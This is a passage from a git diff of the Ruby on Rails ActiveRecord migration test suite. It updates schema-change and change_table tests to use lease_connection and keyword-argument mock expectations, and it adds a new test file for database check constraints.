         # change_column_null, make it not nullable and set null values to a default value
-        person_klass.connection.execute("UPDATE testings SET money = NULL")
-        person_klass.connection.change_column_null "testings", "money", false, 2000
+        person_klass.lease_connection.execute("UPDATE testings SET money = NULL")
+        person_klass.lease_connection.change_column_null "testings", "money", false, 2000
         person_klass.reset_column_information
         assert_nil person_klass.columns_hash["money"].default
         assert_equal false, person_klass.columns_hash["money"].null
@@ -403,7 +456,7 @@ def test_column_exists_on_table_with_no_options_parameter_supplied
         end
         connection.change_table :testings do |t|
           assert t.column_exists?(:foo)
-          assert !(t.column_exists?(:bar))
+          assert_not (t.column_exists?(:bar))
         end
       end
 
@@ -414,10 +467,24 @@ def test_drop_table_if_exists
         assert_not connection.table_exists?(:testings)
       end
 
+      def test_drop_tables_if_exists
+        connection.create_table(:testings)
+        connection.create_table(:sobrinho)
+        assert connection.table_exists?(:testings)
+        assert connection.table_exists?(:sobrinho)
+        connection.drop_table(:testings, :sobrinho, if_exists: true)
+        assert_not connection.table_exists?(:testings)
+        assert_not connection.table_exists?(:sobrinho)
+      end
+
       def test_drop_table_if_exists_nothing_raised
         assert_nothing_raised { connection.drop_table(:nonexistent, if_exists: true) }
       end
 
+      def test_drop_tables_if_exists_nothing_raised
+        assert_nothing_raised { connection.drop_table(:nonexistent, :nonexistent_sobrinho, if_exists: true) }
+      end
+
       private
         def testing_table_with_only_foo_attribute
           connection.create_table :testings, id: false do |t|
@@ -428,12 +495,12 @@ def testing_table_with_only_foo_attribute
         end
     end
 
-    if ActiveRecord::Base.connection.supports_foreign_keys?
+    if ActiveRecord::Base.lease_connection.supports_foreign_keys?
       class ChangeSchemaWithDependentObjectsTest < ActiveRecord::TestCase
         self.use_transactional_tests = false
 
         setup do
-          @connection = ActiveRecord::Base.connection
+          @connection = ActiveRecord::Base.lease_connection
           @connection.create_table :trains
           @connection.create_table(:wagons) { |t| t.references :train }
           @connection.add_foreign_key :wagons, :trains
@@ -446,7 +513,11 @@ class ChangeSchemaWithDependentObjectsTest < ActiveRecord::TestCase
         end
 
         def test_create_table_with_force_cascade_drops_dependent_objects
-          skip "MySQL > 5.5 does not drop dependent objects with DROP TABLE CASCADE" if current_adapter?(:Mysql2Adapter)
+          if current_adapter?(:Mysql2Adapter, :TrilogyAdapter)
+            skip "MySQL > 5.5 does not drop dependent objects with DROP TABLE CASCADE"
+          elsif current_adapter?(:SQLite3Adapter)
+            skip "SQLite3 does not support DROP TABLE CASCADE syntax"
+          end
           # can't re-create table referenced by foreign key
           assert_raises(ActiveRecord::StatementInvalid) do
             @connection.create_table :trains, force: true
diff --git a/activerecord/test/cases/migration/change_table_test.rb b/activerecord/test/cases/migration/change_table_test.rb
index ec817a579b869..0aad4d0c87161 100644
--- a/activerecord/test/cases/migration/change_table_test.rb
+++ b/activerecord/test/cases/migration/change_table_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "cases/migration/helper"
 
 module ActiveRecord
@@ -12,120 +14,134 @@ def setup
       end
 
       def with_change_table
-        yield ActiveRecord::Base.connection.update_table_definition(:delete_me, @connection)
+        yield ActiveRecord::Base.lease_connection.update_table_definition(:delete_me, @connection)
+      end
+
+      if Minitest::Mock.instance_method(:expect).parameters.map(&:first).include?(:keyrest)
+        def expect(method, returns, args, **kwargs)
+          @connection.expect(method, returns, args, **kwargs)
+        end
+      else
+        def expect(method, returns, args, **kwargs)
+          if !kwargs.empty?
+            @connection.expect(method, returns, [*args, kwargs])
+          else
+            @connection.expect(method, returns, args)
+          end
+        end
       end
 
       def test_references_column_type_adds_id
         with_change_table do |t|
-          @connection.expect :add_reference, nil, [:delete_me, :customer, {}]
+          expect :add_reference, nil, [:delete_me, :customer]
           t.references :customer
         end
       end
 
       def test_remove_references_column_type_removes_id
         with_change_table do |t|
-          @connection.expect :remove_reference, nil, [:delete_me, :customer, {}]
+          expect :remove_reference, nil, [:delete_me, :customer]
           t.remove_references :customer
         end
       end
 
       def test_add_belongs_to_works_like_add_references
         with_change_table do |t|
-          @connection.expect :add_reference, nil, [:delete_me, :customer, {}]
+          expect :add_reference, nil, [:delete_me, :customer]
           t.belongs_to :customer
         end
       end
 
       def test_remove_belongs_to_works_like_remove_references
         with_change_table do |t|
-          @connection.expect :remove_reference, nil, [:delete_me, :customer, {}]
+          expect :remove_reference, nil, [:delete_me, :customer]
           t.remove_belongs_to :customer
         end
       end
 
       def test_references_column_type_with_polymorphic_adds_type
         with_change_table do |t|
-          @connection.expect :add_reference, nil, [:delete_me, :taggable, polymorphic: true]
+          expect :add_reference, nil, [:delete_me, :taggable], polymorphic: true
           t.references :taggable, polymorphic: true
         end
       end
 
       def test_remove_references_column_type_with_polymorphic_removes_type
         with_change_table do |t|
-          @connection.expect :remove_reference, nil, [:delete_me, :taggable, polymorphic: true]
+          expect :remove_reference, nil, [:delete_me, :taggable], polymorphic: true
           t.remove_references :taggable, polymorphic: true
         end
       end
 
       def test_references_column_type_with_polymorphic_and_options_null_is_false_adds_table_flag
         with_change_table do |t|
-          @connection.expect :add_reference, nil, [:delete_me, :taggable, polymorphic: true, null: false]
+          expect :add_reference, nil, [:delete_me, :taggable], polymorphic: true, null: false
           t.references :taggable, polymorphic: true, null: false
         end
       end
 
       def test_remove_references_column_type_with_polymorphic_and_options_null_is_false_removes_table_flag
         with_change_table do |t|
-          @connection.expect :remove_reference, nil, [:delete_me, :taggable, polymorphic: true, null: false]
+          expect :remove_reference, nil, [:delete_me, :taggable], polymorphic: true, null: false
           t.remove_references :taggable, polymorphic: true, null: false
         end
       end
 
       def test_references_column_type_with_polymorphic_and_type
         with_change_table do |t|
-          @connection.expect :add_reference, nil, [:delete_me, :taggable, polymorphic: true, type: :string]
+          expect :add_reference, nil, [:delete_me, :taggable], polymorphic: true, type: :string
           t.references :taggable, polymorphic: true, type: :string
         end
       end
 
       def test_remove_references_column_type_with_polymorphic_and_type
         with_change_table do |t|
-          @connection.expect :remove_reference, nil, [:delete_me, :taggable, polymorphic: true, type: :string]
+          expect :remove_reference, nil, [:delete_me, :taggable], polymorphic: true, type: :string
           t.remove_references :taggable, polymorphic: true, type: :string
         end
       end
 
       def test_timestamps_creates_updated_at_and_created_at
         with_change_table do |t|
-          @connection.expect :add_timestamps, nil, [:delete_me, null: true]
+          expect :add_timestamps, nil, [:delete_me], null: true
           t.timestamps null: true
         end
       end
 
       def test_remove_timestamps_creates_updated_at_and_created_at
         with_change_table do |t|
-          @connection.expect :remove_timestamps, nil, [:delete_me, { null: true }]
+          expect :remove_timestamps, nil, [:delete_me], null: true
           t.remove_timestamps(null: true)
         end
       end
 
       def test_primary_key_creates_primary_key_column
         with_change_table do |t|
-          @connection.expect :add_column, nil, [:delete_me, :id, :primary_key, primary_key: true, first: true]
+          expect :add_column, nil, [:delete_me, :id, :primary_key], primary_key: true, first: true
           t.primary_key :id, first: true
         end
       end
 
       def test_integer_creates_integer_column
         with_change_table do |t|
-          @connection.expect :add_column, nil, [:delete_me, :foo, :integer, {}]
-          @connection.expect :add_column, nil, [:delete_me, :bar, :integer, {}]
+          expect :add_column, nil, [:delete_me, :foo, :integer]
+          expect :add_column, nil, [:delete_me, :bar, :integer]
           t.integer :foo, :bar
         end
       end
 
       def test_bigint_creates_bigint_column
         with_change_table do |t|
-          @connection.expect :add_column, nil, [:delete_me, :foo, :bigint, {}]
-          @connection.expect :add_column, nil, [:delete_me, :bar, :bigint, {}]
+          expect :add_column, nil, [:delete_me, :foo, :bigint]
+          expect :add_column, nil, [:delete_me, :bar, :bigint]
           t.bigint :foo, :bar
         end
       end
 
       def test_string_creates_string_column
         with_change_table do |t|
-          @connection.expect :add_column, nil, [:delete_me, :foo, :string, {}]
-          @connection.expect :add_column, nil, [:delete_me, :bar, :string, {}]
+          expect :add_column, nil, [:delete_me, :foo, :string]
+          expect :add_column, nil, [:delete_me, :bar, :string]
           t.string :foo, :bar
         end
       end
@@ -133,115 +149,196 @@ def test_string_creates_string_column
       if current_adapter?(:PostgreSQLAdapter)
         def test_json_creates_json_column
           with_change_table do |t|
-            @connection.expect :add_column, nil, [:delete_me, :foo, :json, {}]
-            @connection.expect :add_column, nil, [:delete_me, :bar, :json, {}]
+            expect :add_column, nil, [:delete_me, :foo, :json]
+            expect :add_column, nil, [:delete_me, :bar, :json]
             t.json :foo, :bar
           end
         end
 
         def test_xml_creates_xml_column
           with_change_table do |t|
-            @connection.expect :add_column, nil, [:delete_me, :foo, :xml, {}]
-            @connection.expect :add_column, nil, [:delete_me, :bar, :xml, {}]
+            expect :add_column, nil, [:delete_me, :foo, :xml]
+            expect :add_column, nil, [:delete_me, :bar, :xml]
             t.xml :foo, :bar
           end
         end
+
+        def test_exclusion_constraint_creates_exclusion_constraint
+          with_change_table do |t|
+            expect :add_exclusion_constraint, nil, [:delete_me, "daterange(start_date, end_date) WITH &&"], using: :gist, where: "start_date IS NOT NULL AND end_date IS NOT NULL", name: "date_overlap"
+            t.exclusion_constraint "daterange(start_date, end_date) WITH &&", using: :gist, where: "start_date IS NOT NULL AND end_date IS NOT NULL", name: "date_overlap"
+          end
+        end
+
+        def test_remove_exclusion_constraint_removes_exclusion_constraint
+          with_change_table do |t|
+            expect :remove_exclusion_constraint, nil, [:delete_me], name: "date_overlap"
+            t.remove_exclusion_constraint name: "date_overlap"
+          end
+        end
+
+        def test_unique_constraint_creates_unique_constraint
+          with_change_table do |t|
+            expect :add_unique_constraint, nil, [:delete_me, :foo], deferrable: :deferred, name: "unique_constraint"
+            t.unique_constraint :foo, deferrable: :deferred, name: "unique_constraint"
+          end
+        end
+
+        def test_remove_unique_constraint_removes_unique_constraint
+          with_change_table do |t|
+            expect :remove_unique_constraint, nil, [:delete_me], name: "unique_constraint"
+            t.remove_unique_constraint name: "unique_constraint"
+          end
+        end
       end
 
       def test_column_creates_column
         with_change_table do |t|
-          @connection.expect :add_column, nil, [:delete_me, :bar, :integer, {}]
+          expect :add_column, nil, [:delete_me, :bar, :integer]
           t.column :bar, :integer
         end
       end
 
       def test_column_creates_column_with_options
         with_change_table do |t|
-          @connection.expect :add_column, nil, [:delete_me, :bar, :integer, { null: false }]
+          expect :add_column, nil, [:delete_me, :bar, :integer], null: false
           t.column :bar, :integer, null: false
         end
       end
 
+      def test_column_creates_column_with_index
+        with_change_table do |t|
+          expect :add_column, nil, [:delete_me, :bar, :integer]
+          expect :add_index, nil, [:delete_me, :bar]
+          t.column :bar, :integer, index: true
+        end
+      end
+
+      if ActiveRecord::Base.lease_connection.supports_disabling_indexes?
+        def test_column_creates_column_with_disabled_index
+          with_change_table do |t|
+            expect :add_column, nil, [:delete_me, :bar, :integer]
+            expect :add_index, nil, [:delete_me, :bar], enabled: false
+            t.column :bar, :integer, index: { enabled: false }
+          end
+        end
+
+        def test_index_creates_disabled_index
+          with_change_table do |t|
+            expect :add_index, nil, [:delete_me, :bar], enabled: false
+            t.index :bar, enabled: false
+          end
+        end
+
+        def test_disable_index_disables_index
+          with_change_table do |t|
+            expect :disable_index, nil, [:delete_me, :bar]
+            t.disable_index :bar
+          end
+        end
+
+        def test_enable_index_enables_index
+          with_change_table do |t|
+            expect :enable_index, nil, [:delete_me, :bar]
+            t.enable_index :bar
+          end
+        end
+      end
+
       def test_index_creates_index
         with_change_table do |t|
-          @connection.expect :add_index, nil, [:delete_me, :bar, {}]
+          expect :add_index, nil, [:delete_me, :bar]
           t.index :bar
         end
       end
 
       def test_index_creates_index_with_options
         with_change_table do |t|
-          @connection.expect :add_index, nil, [:delete_me, :bar, { unique: true }]
+          expect :add_index, nil, [:delete_me, :bar], unique: true
           t.index :bar, unique: true
         end
       end
 
       def test_index_exists
         with_change_table do |t|
-          @connection.expect :index_exists?, nil, [:delete_me, :bar, {}]
+          expect :index_exists?, nil, [:delete_me, :bar]
           t.index_exists?(:bar)
         end
       end
 
       def test_index_exists_with_options
         with_change_table do |t|
-          @connection.expect :index_exists?, nil, [:delete_me, :bar, { unique: true }]
+          expect :index_exists?, nil, [:delete_me, :bar], unique: true
           t.index_exists?(:bar, unique: true)
         end
       end
 
       def test_rename_index_renames_index
         with_change_table do |t|
-          @connection.expect :rename_index, nil, [:delete_me, :bar, :baz]
+          expect :rename_index, nil, [:delete_me, :bar, :baz]
           t.rename_index :bar, :baz
         end
       end
 
       def test_change_changes_column
         with_change_table do |t|
-          @connection.expect :change_column, nil, [:delete_me, :bar, :string, {}]
+          expect :change_column, nil, [:delete_me, :bar, :string]
           t.change :bar, :string
         end
       end
 
       def test_change_changes_column_with_options
         with_change_table do |t|
-          @connection.expect :change_column, nil, [:delete_me, :bar, :string, { null: true }]
+          expect :change_column, nil, [:delete_me, :bar, :string], null: true
           t.change :bar, :string, null: true
         end
       end
 
       def test_change_default_changes_column
         with_change_table do |t|
-          @connection.expect :change_column_default, nil, [:delete_me, :bar, :string]
+          expect :change_column_default, nil, [:delete_me, :bar, :string]
           t.change_default :bar, :string
         end
       end
 
+      def test_change_null_changes_column
+        with_change_table do |t|
+          expect :change_column_null, nil, [:delete_me, :bar, true, nil]
+          t.change_null :bar, true
+        end
+      end
+
       def test_remove_drops_single_column
         with_change_table do |t|
-          @connection.expect :remove_columns, nil, [:delete_me, :bar]
+          expect :remove_columns, nil, [:delete_me, :bar]
           t.remove :bar
         end
       end
 
       def test_remove_drops_multiple_columns
         with_change_table do |t|
-          @connection.expect :remove_columns, nil, [:delete_me, :bar, :baz]
+          expect :remove_columns, nil, [:delete_me, :bar, :baz]
           t.remove :bar, :baz
         end
       end
 
+      def test_remove_drops_multiple_columns_when_column_options_are_given
+        with_change_table do |t|
+          expect :remove_columns, nil, [:delete_me, :bar, :baz], type: :string, null: false
+          t.remove :bar, :baz, type: :string, null: false
+        end
+      end
+
       def test_remove_index_removes_index_with_options
         with_change_table do |t|
-          @connection.expect :remove_index, nil, [:delete_me, { unique: true }]
-          t.remove_index unique: true
+          expect :remove_index, nil, [:delete_me, :bar], unique: true
+          t.remove_index :bar, unique: true
         end
       end
 
       def test_rename_renames_column
         with_change_table do |t|
-          @connection.expect :rename_column, nil, [:delete_me, :bar, :baz]
+          expect :rename_column, nil, [:delete_me, :bar, :baz]
           t.rename :bar, :baz
         end
       end
@@ -251,6 +348,63 @@ def test_table_name_set
           assert_equal :delete_me, t.name
         end
       end
+
+      def test_check_constraint_creates_check_constraint
+        with_change_table do |t|
+          expect :add_check_constraint, nil, [:delete_me, "price > discounted_price"], name: "price_check"
+          t.check_constraint "price > discounted_price", name: "price_check"
+        end
+      end
+
+      def test_check_constraint_exists
+        with_change_table do |t|
+          expect :check_constraint_exists?, nil, [:delete_me], name: "price_check"
+          assert_not t.check_constraint_exists?(name: "price_check")
+        end
+      end
+
+      def test_remove_check_constraint_removes_check_constraint
+        with_change_table do |t|
+          expect :remove_check_constraint, nil, [:delete_me], name: "price_check"
+          t.remove_check_constraint name: "price_check"
+        end
+      end
+
+      if current_adapter?(:PostgreSQLAdapter)
+        def test_validate_check_constraint
+          with_change_table do |t|
+            expect :add_check_constraint, nil, [:delete_me, "price > discounted_price"], name: "price_check", validate: false
+            t.check_constraint "price > discounted_price", name: "price_check", validate: false
+            expect :validate_check_constraint, :nil, [:delete_me, "price_check"]
+            t.validate_check_constraint "price_check"
+          end
+        end
+
+        def test_validate_constraint
+          with_change_table do |t|
+            expect :add_check_constraint, nil, [:delete_me, "price > discounted_price"], name: "price_check", validate: false
+            t.check_constraint "price > discounted_price", name: "price_check", validate: false
+            expect :validate_constraint, :nil, [:delete_me, "price_check"]
+            t.validate_constraint "price_check"
+          end
+        end
+      end
+
+      def test_remove_column_with_if_exists_raises_error
+        assert_raises(ArgumentError) do
+          with_change_table do |t|
+            t.remove :name, if_exists: true
+          end
+        end
+      end
+
+      def test_add_column_with_if_not_exists_raises_error
+        assert_raises(ArgumentError) do
+          with_change_table do |t|
+            t.string :nickname, if_not_exists: true
+          end
+        end
+      end
     end
   end
 end
diff --git a/activerecord/test/cases/migration/check_constraint_test.rb b/activerecord/test/cases/migration/check_constraint_test.rb
new file mode 100644
index 0000000000000..e0bcc09cc427d
--- /dev/null
+++ b/activerecord/test/cases/migration/check_constraint_test.rb
@@ -0,0 +1,378 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "support/schema_dumping_helper"
+
+if ActiveRecord::Base.lease_connection.supports_check_constraints?
+  module ActiveRecord
+    class Migration
+      class CheckConstraintTest < ActiveRecord::TestCase
+        include SchemaDumpingHelper
+
+        class Trade < ActiveRecord::Base
+        end
+
+        setup do
+          @connection = ActiveRecord::Base.lease_connection
+          @connection.create_table "trades", force: true do |t|
+            t.integer :price
+            t.integer :quantity
+          end
+
+          @connection.create_table "purchases", force: true do |t|
+            t.integer :price
+            t.integer :quantity
+          end
+
+          if current_adapter?(:Mysql2Adapter, :TrilogyAdapter)
+            @connection.create_table "constraint_test", force: true do |t|
+              t.json :options, default: nil
+            end
+          end
+        end
+
+        teardown do
+          @connection.drop_table "trades", if_exists: true rescue nil
+          @connection.drop_table "purchases", if_exists: true rescue nil
+
+          if current_adapter?(:Mysql2Adapter, :TrilogyAdapter)
+            @connection.drop_table "constraint_test", if_exists: true rescue nil
+          end
+        end
+
+        def test_check_constraints
+          check_constraints = @connection.check_constraints("products")
+          assert_equal 1, check_constraints.size
+
+          constraint = check_constraints.first
+          assert_equal "products", constraint.table_name
+          assert_equal "products_price_check", constraint.name
+
+          if current_adapter?(:Mysql2Adapter, :TrilogyAdapter)
+            assert_equal "`price` > `discounted_price`", constraint.expression
+          else
+            assert_equal "price > discounted_price", constraint.expression
+          end
+
+          if current_adapter?(:Mysql2Adapter, :TrilogyAdapter)
+            begin
+              @connection.add_check_constraint(:constraint_test, <<~SQL,
+                json_schema_valid(_utf8mb4'\n        {\n          "oneOf": [\n            {\n              "type": "null"\n            },\n            {\n              "type": "array",\n              "minItems": 1,\n              "items": {\n                "type": "integer",\n                "minimum": 0\n              }\n            }\n          ]\n        }',`options`)
+              SQL
+              name: "non_empty_test_array")
+
+              constraint = @connection.check_constraints("constraint_test").find { |c| c.name == "non_empty_test_array" }
+              assert_includes constraint.expression, "json_schema_valid"
+              assert_equal(%q[json_schema_valid(_utf8mb4' { "oneOf": [ { "type": "null" }, { "type": "array", "minItems": 1, "items": { "type": "integer", "minimum": 0 } } ] }',`options`)], constraint.expression)
+            ensure
+              @connection.remove_check_constraint(:constraint_test, name: "non_empty_test_array", if_exists: true)
+            end
+          end
+
+          if current_adapter?(:PostgreSQLAdapter)
+            begin
+              # Test that complex expression is correctly parsed from the database
+              @connection.add_check_constraint(:trades,
+                "CASE WHEN price IS NOT NULL THEN true ELSE false END", name: "price_is_required")
+
+              constraint = @connection.check_constraints("trades").find { |c| c.name == "price_is_required" }
+              assert_includes constraint.expression, "WHEN price IS NOT NULL"
+            ensure
+              @connection.remove_check_constraint(:trades, name: "price_is_required")
+            end
+          end
+        end
+
+        if current_adapter?(:PostgreSQLAdapter)
+          def test_check_constraints_scoped_to_schemas
+            @connection.add_check_constraint :trades, "quantity > 0"
+
+            assert_no_changes -> { @connection.check_constraints("trades").size } do
+              @connection.create_schema "test_schema"
+              @connection.create_table "test_schema.trades" do |t|
+                t.integer :quantity
+              end
+              @connection.add_check_constraint "test_schema.trades", "quantity > 0"
+            end
+          ensure
+            @connection.drop_schema "test_schema"
+          end
+        end
+
+        def test_add_check_constraint
+          @connection.add_check_constraint :trades, "quantity > 0"
+
+          check_constraints = @connection.check_constraints("trades")
+          assert_equal 1, check_constraints.size
+
+          constraint = check_constraints.first
+          assert_equal "trades", constraint.table_name
+          assert_equal "chk_rails_2189e9f96c", constraint.name
+
+          if current_adapter?(:Mysql2Adapter, :TrilogyAdapter)
+            assert_equal "`quantity` > 0", constraint.expression
+          else
+            assert_equal "quantity > 0", constraint.expression
+          end
+        end
+
+        def test_add_check_constraint_with_if_not_exists_options
+          @connection.add_check_constraint :trades, "quantity > 0"
+
+          assert_nothing_raised do
+            @connection.add_check_constraint :trades, "quantity > 0", if_not_exists: true
+          end
+        end
+
+        if supports_non_unique_constraint_name?
+          def test_add_constraint_with_same_name_to_different_table
+            @connection.add_check_constraint :trades, "quantity > 0", name: "greater_than_zero"
+            @connection.add_check_constraint :purchases, "quantity > 0", name: "greater_than_zero"
+
+            trades_check_constraints = @connection.check_constraints("trades")
+            assert_equal 1, trades_check_constraints.size
+            trade_constraint = trades_check_constraints.first
+            assert_equal "trades", trade_constraint.table_name
+            assert_equal "greater_than_zero", trade_constraint.name
+
+            purchases_check_constraints = @connection.check_constraints("purchases")
+            assert_equal 1, purchases_check_constraints.size
+            purchase_constraint = purchases_check_constraints.first
+            assert_equal "purchases", purchase_constraint.table_name
+            assert_equal "greater_than_zero", purchase_constraint.name
+          end
+        end
+
+        def test_add_check_constraint_with_non_existent_table_raises
+          e = assert_raises(ActiveRecord::StatementInvalid) do
+            @connection.add_check_constraint :refunds, "quantity > 0", name: "quantity_check"
+          end
+          assert_match(/refunds/, e.message)
+        end
+
+        def test_added_check_constraint_ensures_valid_values
+          @connection.add_check_constraint :trades, "quantity > 0", name: "quantity_check"
+
+          assert_raises(ActiveRecord::StatementInvalid) do
+            Trade.create(quantity: -1)
+          end
+        end
+
+        if ActiveRecord::Base.lease_connection.supports_validate_constraints?
+          def test_not_valid_check_constraint
+            Trade.create(quantity: -1)
+
+            @connection.add_check_constraint :trades, "quantity > 0", name: "quantity_check", validate: false
+
+            assert_raises(ActiveRecord::StatementInvalid) do
+              Trade.create(quantity: -1)
+            end
+          end
+
+          def test_validate_check_constraint_by_name
+            @connection.add_check_constraint :trades, "quantity > 0", name: "quantity_check", validate: false
+            assert_not_predicate @connection.check_constraints("trades").first, :validated?
+
+            @connection.validate_check_constraint :trades, name: "quantity_check"
+            assert_predicate @connection.check_constraints("trades").first, :validated?
+          end
+
+          def test_validated_check_constraint_exists
+            @connection.add_check_constraint :trades, "quantity > 0", name: "quantity_check", validate: false
+            assert_not @connection.check_constraint_exists?(:trades, name: "quantity_check", validate: true)
+
+            @connection.validate_check_constraint :trades, name: "quantity_check"
+            assert @connection.check_constraint_exists?(:trades, name: "quantity_check", validate: true)
+          end
+
+          def test_validate_non_existing_check_constraint_raises
+            assert_raises ArgumentError do
+              @connection.validate_check_constraint :trades, name: "quantity_check"
+            end
+          end
+
+          def test_schema_dumping_with_validate_false
+            @connection.add_check_constraint :trades, "quantity > 0", name: "quantity_check", validate: false
+
+            output = dump_table_schema "trades"
+
+            assert_match %r{\s+add_check_constraint "trades", "quantity > 0", name: "quantity_check", validate: false$}, output
+          end
+
+          def test_schema_dumping_with_validate_true
+            @connection.add_check_constraint :trades, "quantity > 0", name: "quantity_check", validate: true
+
+            output = dump_table_schema "trades"
+
+            assert_match %r{\s+t.check_constraint "quantity > 0", name: "quantity_check"$}, output
+          end
+        else
+          # Check constraint should still be created, but should not be invalid
+          def test_add_invalid_check_constraint
+            @connection.add_check_constraint :trades, "quantity > 0", name: "quantity_check", validate: false
+
+            check_constraints = @connection.check_constraints("trades")
+            assert_equal 1, check_constraints.size
+
+            cc = check_constraints.first
+            assert_predicate cc, :validated?
+          end
+        end
+
+        def test_check_constraint_exists
+          @connection.add_check_constraint :trades, "quantity > 0", name: "quantity_check"
+
+          assert @connection.check_constraint_exists?(:trades, name: "quantity_check")
+          assert_not @connection.check_constraint_exists?(:non_trades, name: "quantity_check")
+          assert_not @connection.check_constraint_exists?(:trades, name: "other_check")
+        end
+
+        def test_check_constraint_exists_ensures_required_options
+          @connection.add_check_constraint :trades, "quantity > 0", name: "quantity_check"
+          error = assert_raises(ArgumentError) do
+            @connection.check_constraint_exists?(:trades, something: true)
+          end
+          assert_equal "At least one of :name or :expression must be supplied", error.message
+        end
+
+        if supports_sql_standard_drop_constraint?
+          def test_remove_constraint
+            @connection.add_check_constraint :trades, "quantity > 0", name: "quantity_check"
+
+            assert_equal 1, @connection.check_constraints("trades").size
+            @connection.remove_constraint :trades, "quantity_check"
+            assert_equal 0, @connection.check_constraints("trades").size
+          end
+        end
+
+        def test_remove_check_constraint
+          @connection.add_check_constraint :trades, "price > 0", name: "price_check"
+          @connection.add_check_constraint :trades, "quantity > 0", name: "quantity_check"
+
+          assert_equal 2, @connection.check_constraints("trades").size
+          @connection.remove_check_constraint :trades, name: "quantity_check"
+          assert_equal 1, @connection.check_constraints("trades").size
+
+          constraint = @connection.check_constraints("trades").first
+          assert_equal "trades", constraint.table_name
+          assert_equal "price_check", constraint.name
+
+          if current_adapter?(:Mysql2Adapter, :TrilogyAdapter)
+            assert_equal "`price` > 0", constraint.expression
+          else
+            assert_equal "price > 0", constraint.expression
+          end
+
+          @connection.remove_check_constraint :trades, name: :price_check # name as a symbol
+          assert_empty @connection.check_constraints("trades")
+        end
+
+        def test_removing_check_constraint_with_if_exists_option
+          @connection.add_check_constraint :trades, "quantity > 0", name: "quantity_check"
+
+          assert_nothing_raised do
+            @connection.remove_check_constraint :trades, name: "quantity_check", if_exists: true
+          end
+
+          error = assert_raises ArgumentError do
+            @connection.remove_check_constraint :trades, name: "quantity_check"
+          end
+
+          assert_equal "Table 'trades' has no check constraint for #{{ name: "quantity_check" }}", error.message
+
+          assert_nothing_raised do
+            @connection.remove_check_constraint :trades, name: "quantity_check", if_exists: true
+          end
+        end
+
+        def test_remove_non_existing_check_constraint
+          assert_raises(ArgumentError) do
+            @connection.remove_check_constraint :trades, name: "nonexistent"
+          end
+        end
+
+        def test_add_constraint_from_change_table_with_options
+          @connection.change_table :trades do |t|
+            t.check_constraint "price > 0", name: "price_check"
+          end
+
+          constraint = @connection.check_constraints("trades").first
+          assert_equal "trades", constraint.table_name
+          assert_equal "price_check", constraint.name
+        end
+
+        def test_remove_constraint_from_change_table_with_options
+          @connection.add_check_constraint :trades, "price > 0", name: "price_check"
+
+          @connection.change_table :trades do |t|
+            t.remove_check_constraint "price > 0", name: "price_check"
+          end
+
+          assert_equal 0, @connection.check_constraints("trades").size
+        end
+      end
+    end
+  end
+
+  class CheckConstraintViolationTest < ActiveRecord::TestCase
+    self.use_transactional_tests = false
+
+    class Trade < ActiveRecord::Base
+    end
+
+    setup do
+      @connection = ActiveRecord::Base.lease_connection
+      @connection.create_table "trades", force: true do |t|
+        t.integer :price
+        t.integer :quantity
+        t.check_constraint "price > 0", name: "price_check"
+      end
+    end
+
+    teardown do
+      @connection.drop_table "trades", if_exists: true
+    end
+
+    def test_check_constraint_violation_on_insert
+      assert_raises(ActiveRecord::CheckViolation) do
+        Trade.create(price: -10, quantity: 5)
+      end
+    end
+
+    def test_check_constraint_violation_on_update
+      trade = Trade.create(price: 100, quantity: 5)
+
+      assert_raises(ActiveRecord::CheckViolation) do
+        trade.update(price: -10)
+      end
+    end
+  end
+else
+  module ActiveRecord
+    class Migration
+      class NoCheckConstraintSupportTest < ActiveRecord::TestCase
+        setup do
+          @connection = ActiveRecord::Base.lease_connection
+        end
+
+        def test_add_check_constraint_should_be_noop
+          assert_nothing_raised do
+            @connection.add_check_constraint :products, "discounted_price > 0", name: "discounted_price_check"
+          end
+        end
+
+        def test_remove_check_constraint_should_be_noop
+          assert_nothing_raised do
+            @connection.remove_check_constraint :products, name: "price_check"
+          end
+        end
+
+        def test_check_constraints_should_raise_not_implemented
+          assert_raises(NotImplementedError) do
+            @connection.check_constraints("products")
+          end
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/migration/column_attributes_test.rb b/activerecord/test/cases/migration/column_attributes_test.rb
index 48df931543bf3..a7dcdb9d0fbf0 100644
--- a/activerecord/test/cases/migration/column_attributes_test.rb
+++ b/activerecord/test/cases/migration/column_attributes_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "cases/migration/helper"
 
 module ActiveRecord
@@ -37,17 +39,17 @@ def test_add_remove_single_field_using_symbol_arguments
 
       def test_add_column_without_limit
         # TODO: limit: nil should work with all adapters.
-        skip "MySQL wrongly enforces a limit of 255" if current_adapter?(:Mysql2Adapter)
+        skip "MySQL wrongly enforces a limit of 255" if current_adapter?(:Mysql2Adapter, :TrilogyAdapter)
         add_column :test_models, :description, :string, limit: nil
         TestModel.reset_column_information
         assert_nil TestModel.columns_hash["description"].limit
       end
 
-      if current_adapter?(:Mysql2Adapter)
+      if current_adapter?(:Mysql2Adapter, :TrilogyAdapter, :PostgreSQLAdapter)
         def test_unabstracted_database_dependent_types
-          add_column :test_models, :intelligence_quotient, :tinyint
+          add_column :test_models, :intelligence_quotient, :smallint
           TestModel.reset_column_information
-          assert_match(/tinyint/, TestModel.columns_hash["intelligence_quotient"].sql_type)
+          assert_match(/smallint/, TestModel.columns_hash["intelligence_quotient"].sql_type)
         end
       end
 
@@ -60,12 +62,7 @@ def test_native_decimal_insert_manual_vs_automatic
 
           connection.add_column "test_models", "wealth", :decimal, precision: "30", scale: "10"
 
-          # Do a manual insertion
-          if current_adapter?(:OracleAdapter)
-            connection.execute "insert into test_models (id, wealth) values (people_seq.nextval, 12345678901234567890.0123456789)"
-          else
-            connection.execute "insert into test_models (wealth) values (12345678901234567890.0123456789)"
-          end
+          connection.execute "insert into test_models (wealth) values (12345678901234567890.0123456789)"
 
           # SELECT
           row = TestModel.first
@@ -78,7 +75,7 @@ def test_native_decimal_insert_manual_vs_automatic
           TestModel.delete_all
 
           # Now use the Rails insertion
-          TestModel.create wealth: BigDecimal.new("12345678901234567890.0123456789")
+          TestModel.create wealth: BigDecimal("12345678901234567890.0123456789")
 
           # SELECT
           row = TestModel.first
@@ -97,7 +94,21 @@ def test_add_column_with_precision_and_scale
         assert_equal 7, wealth_column.scale
       end
 
+      # Test SQLite3 adapter specifically for decimal types with precision and scale
+      # attributes, since these need to be maintained in schema but aren't actually
+      # used in SQLite3 itself
       if current_adapter?(:SQLite3Adapter)
